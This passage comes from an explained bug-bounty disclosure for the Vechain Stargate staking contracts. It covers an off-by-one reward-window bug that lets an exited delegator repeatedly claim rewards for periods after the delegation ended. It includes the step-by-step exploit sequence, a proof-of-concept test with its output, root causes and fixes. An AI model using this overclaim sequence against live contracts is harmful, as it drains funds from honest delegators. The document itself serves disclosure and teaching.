// => remove effective stake starting from period 16

Line by line:

  • $.protocolStakerContract.signalDelegationExit(delegationId); tells the staking contract that this delegation wants to leave.
  • (, , , uint32 completedPeriods) = $.protocolStakerContract.getValidationPeriodDetails(delegation.validator); reads the current period count again. In the example, 14 periods are done, so the current period is 15.
  • _updatePeriodEffectiveStake($, delegation.validator, _tokenId, completedPeriods + 2, false); removes the token's stake starting from period 16. The false means "remove".

The protocol staker sets endPeriod to the period in which exit was requested (15). Checkpoint logic ensures the token is counted in delegatorsEffectiveStake for period 15 and excluded for periods 16 and later. From the protocol's perspective the delegation is active only in [startPeriod = 15, endPeriod = 15]. That is the correct, intended state.

3. Let several validator periods pass

The validator keeps operating. getValidationPeriodDetails now returns a much larger completedPeriods (30), so currentValidatorPeriod is 31. The delegation details remain startPeriod = 15, endPeriod = 15, and the delegation is EXITED. delegatorsEffectiveStake includes the token's stake at period 15 only and excludes it for periods 16 and later.

This step matters because it separates the two numbers the bug confuses: the delegation's own end period (15, fixed) and the validator's global completed-period counter (30, growing). The fallback branch in the buggy function uses the second number where it should use the first.

4. Claimable window erroneously extends past endPeriod

With startPeriod = 15, endPeriod = 15, currentValidatorPeriod = 31 and nextClaimablePeriod = 15, the three conditions in _claimableDelegationPeriods evaluate as follows:

  • endPeriod != max is true.
  • endPeriod < currentValidatorPeriod is true (15 < 31).
  • endPeriod > nextClaimablePeriod is false (15 > 15 is false).

The branch is not taken, so the fallback returns (nextClaimablePeriod, completedPeriods), that is (15, 30). The claimable window becomes [15, 30] even though the delegation ended at 15, and _claimableRewardsForPeriod then computes rewards for each of those periods.

An everyday comparison: it is like a gym member whose membership ended in March being told at the desk that they can use the gym until December, because the receptionist looked at today's date instead of the membership end date.

5. Repeatable theft

The delegation mapping is not cleared when exit is requested. After overclaiming, the attacker can wait for new periods and call claimRewards again. The same flawed logic computes a claimable window that includes post-exit periods, so the claim can be repeated. This is what turns a one-off accounting error into an ongoing drain.

Proof of concept

The test in Rewards.test.ts walks through the whole sequence. User1 stakes and delegates tokenId1; user2 stakes and delegates tokenId2 to the same validator so that delegatorsEffectiveStake stays above zero after user1 exits. Both delegations are moved to ACTIVE by setting completed periods to 4.

User1 claims once while still ACTIVE. The first claimable amount is 150000000000000000n, the claim succeeds, and the claimable amount immediately afterwards is 0n. The n suffix is TypeScript's way of writing a big integer. At this point the state is startPeriod = 2, lastClaimedPeriod = 4, nextClaimablePeriod = 5.

User1 then calls requestDelegationExit(tokenId1) in period 5, so endPeriod == currentPeriod == 5. The delegation is still ACTIVE immediately after the request. Completed periods are then set to 14, which makes the delegation EXITED. The delegation period details come back as start: 2n end: 5n, but claimableDelegationPeriods(tokenId1) returns first: 5n last: 14n. The test asserts the intended invariant and the bug explicitly:

JavaScript
expect(firstClaimablePeriod).to.equal(endPeriod);
expect(lastClaimablePeriod).to.be.gt(endPeriod); // window extends beyond delegation end

Line by line:

  • expect(firstClaimablePeriod).to.equal(endPeriod); checks that the first claimable period is exactly the end period. That part is fine.
  • expect(lastClaimablePeriod).to.be.gt(endPeriod); checks that the last claimable period is greater than the end period. gt means "greater than". This line is the bug made explicit: the test is asserting that the window extends past the delegation's end.

The second claimable amount after exit is 750000000000000000n, which is greater than REWARDS_PER_PERIOD, and the second claim pays exactly that amount. The test then advances completed periods to 24. The delegation periods are still start: 2n end: 5n, and claimableDelegationPeriods now returns second: 13n last: 24n. A third claim pays 800000000000000000n. The truncated test output confirms the sequence:

Text
  shard-u4: Stargate: Rewards
User1 staked tokenId1: 10001n
User1 delegated tokenId1 to validator [redacted]
User2 staked tokenId2: 10002n
User2 delegated tokenId2 to validator [redacted]
Set validator completed periods to 4
First claimable rewards (before exit): 150000000000000000n
User performed first claim, tx hash: 0x9dc2fa13...
Claimable rewards immediately after first claim: 0n
-------------------------------------------
User requested delegation exit for tokenId1
Set validator completed periods to 14
Delegation periods for tokenId1 -> start: 2n end: 5n
Stargate claimable periods AFTER exit -> first: 5n last: 14n
Second claimable rewards AFTER exit: 750000000000000000n
User1 performed second claim, tx hash: 0x93d4d4c7...
Actually claimed in second claim: 750000000000000000n
------------------------------------
Set validator completed periods to 24
Delegation periods for tokenId1 -> start: 2n end: 5n
Stargate claimable periods AFTER exit -> second: 13n last: 24n
User1 performed third claim, tx hash: 0xb9c5b1da...
Actually claimed in third claim: 800000000000000000n
    ✔ should overclaim rewards after delegation exit due to off-by-one period bounds (186ms)

Reading the output line by line:

  • The first lines show the two users staking and delegating their tokens to the same validator. The long 0x... string is the validator's address, a unique identifier on the blockchain.
  • Set validator completed periods to 4 moves time forward so both delegations become ACTIVE.
  • First claimable rewards (before exit): 150000000000000000n is the legitimate first payout.
  • Claimable rewards immediately after first claim: 0n shows the claim was fully accounted for at that point.
  • User requested delegation exit for tokenId1 is the exit request.
  • Set validator completed periods to 14 moves time forward past the end period.
  • Delegation periods for tokenId1 -> start: 2n end: 5n shows the delegation really did end at period 5.
  • Stargate claimable periods AFTER exit -> first: 5n last: 14n is the bug: the contract says periods 5 to 14 are claimable, even though the delegation ended at 5.
  • Second claimable rewards AFTER exit: 750000000000000000n and Actually claimed in second claim: 750000000000000000n show the payout happened and matched the inflated amount.
  • The third block repeats the pattern after advancing to period 24, with a payout of 800000000000000000n.
  • The final tick line is the test framework reporting that the test passed, which means the bug was successfully demonstrated.

Root cause

Two logic issues combine:

  1. An off-by-one, underconstrained check in _claimableDelegationPeriods. Because the comparison is strict > rather than >=, the case endPeriod == nextClaimablePeriod falls through to the fallback, which can return a last claimable period larger than endPeriod. "Off-by-one" is a common programming mistake where a boundary is handled with the wrong comparison, so the case exactly on the boundary goes the wrong way.
  2. A missing delegation membership check in _claimableRewardsForPeriod. The function never verifies that _period lies in the delegation's [startPeriod, endPeriod]. After exit the aggregator has removed the token from delegatorsEffectiveStake for future periods, but the token's effectiveStake is still used in the numerator, so the token receives a share of rewards for periods it was not part of.

Together these let an exited delegator claim rewards for periods in which they were not staked. Either bug alone would be less serious; the first widens the window, the second pays inside it.

Impact

The report describes this as direct theft of funds (VTHO) from reward pools intended for currently staked delegators, and theft of unclaimed royalties and yield. The attack is repeatable: an exited delegator can overclaim again as new periods pass. Losses are redistributed from honest delegators of the same validator to the attacker. The report rates it high severity, and the attack is repeatable.

In plain terms, losses are redistributed from honest delegators of the same validator to the attacker. That is why the report calls it a loss-of-funds issue rather than a display bug.

Fix

The report recommends revisiting reward accounting around exited delegations, and specifically:

  • Tighten _claimableDelegationPeriods so that when endPeriod == nextClaimablePeriod the returned last claimable period never exceeds endPeriod, for example by using >= where appropriate or otherwise ensuring correct bounds.
  • In _claimableRewardsForPeriod, verify that the token is actually a member of the delegators pool for the given period, that is, that the period is within [startPeriod, endPeriod] for that delegation, before using its effectiveStake in reward calculations.
  • Consider clearing or invalidating the delegation mapping or effective stake for tokenIds on exit, so stale effectiveStake values cannot be reused for future periods.

An everyday comparison for the first fix: the receptionist should check the membership end date, not today's date, and should treat "membership ends today" as still inside the membership, not outside it. For the second fix: even if the receptionist is confused, the turnstile should check the membership card itself before letting anyone in.

Variants to test

These are general patterns related to the two root causes. They are useful because the same mistake often appears in more than one place.

  • Any reward or yield accounting that stores a per-entity start and end period and computes a claimable range: check the boundary where the next unclaimed period equals the end period. A positive result is a claimable range whose last period is greater than the recorded end period.
  • Reward share formulas of the form entityStake * periodRewards / totalStake: check whether the entity's membership in the total for that period is verified. A positive result is a non-zero payout for a period in which the entity was not counted in the total.
  • Delegation or staking exit flows: check whether the delegation record is cleared or invalidated on exit. A positive result is a stale record that still produces payouts after exit.
  • Repeat-claim scenarios: after one overclaim, advance periods and claim again. A positive result is a second payout for periods after the recorded end.

Hunting notes

The signals during review are strict versus non-strict comparisons at the boundary, fallback returns that use a global counter such as completedPeriods instead of the entity's own end period, and reward formulas that divide by a total without checking that the claimant is part of that total.

For a beginner reading this, the lesson is that security review is often about boundaries. The interesting question is rarely "does the normal case work?" but "what happens exactly on the edge?" Here the edge was the moment when the next unclaimed period and the delegation's end period were the same number, and the code took the wrong path at that exact point.

Glossary

  • Blockchain: a shared ledger kept by many computers, where past entries cannot be quietly changed.
  • Smart contract: a program that lives on a blockchain and runs automatically when someone sends it a transaction.
  • Token: a digital asset tracked by a smart contract, such as VET or VTHO.
  • VET: the cryptocurrency staked in this system.
  • VTHO: the cryptocurrency paid out as rewards in this system.
  • Staking: locking tokens up for a while to support the network and earn rewards.
  • Validator: an operator that produces blocks and earns rewards.
  • Delegation: lending your staked tokens to a validator so that rewards are shared.
  • NFT: a non-fungible token, a unique digital item; here each stake is one.
  • tokenId: the number that identifies a particular NFT stake.
  • Period (validator period): a fixed stretch of time used to calculate rewards.
  • startPeriod: the period in which a delegation began.
  • endPeriod: the period in which a delegation ended.
  • completedPeriods: a global counter of how many periods a validator has finished.
  • currentValidatorPeriod: the period the validator is in now, usually completedPeriods + 1.
  • nextClaimablePeriod: the next period a token has not yet claimed rewards for.
  • lastClaimedPeriod: the last period a token has already claimed rewards for.
  • Effective stake: the amount a delegator has contributed, used in the reward formula.
  • delegatorsEffectiveStake: a lookup table holding the total effective stake of all delegators for a validator and period.
  • Mapping: a lookup table in a smart contract, keyed by something and returning a value.
  • uint256 / uint32: whole-number types in Solidity; uint32 is smaller and uint256 is larger.
  • type(uint32).max: the largest number a uint32 can hold, used here as a sentinel meaning "no end yet".
  • Sentinel value: a special value used to mean "not set" or "no limit".
  • Off-by-one: a programming mistake where a boundary is handled with the wrong comparison, so the exact boundary case goes the wrong way.
  • Strict comparison (>): a comparison that is false when the two sides are equal.
  • Non-strict comparison (>=): a comparison that is true when the two sides are equal.
  • Fallback branch: a branch of code that runs when the main guarded branch is skipped.
  • Invariant: a rule that should always hold, such as "the last claimable period is never later than the end period".
  • Proof of concept (PoC): a demonstration that a bug is real, often an automated test.
  • Mock: a stand-in version of a contract that a test can control.
  • TypeScript: a programming language used to write the test.
  • Big integer (n suffix): TypeScript's way of writing a whole number larger than the usual limit.
  • Transaction hash: a unique identifier for a transaction on the blockchain, shown as a long 0x... string.
  • Address: a unique identifier for an account or contract on the blockchain, also shown as a long 0x... string.
  • Loss of funds: a security issue where money can be taken or lost, as opposed to a cosmetic or informational bug.
  • Severity: how serious a finding is rated, here high.
  • Immunefi: a platform where security researchers report bugs in blockchain projects and are rewarded for valid findings.
  • Audit competition: an event where many researchers review the same codebase and submit findings.

More from Vechain | Stargate Hayabusa

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.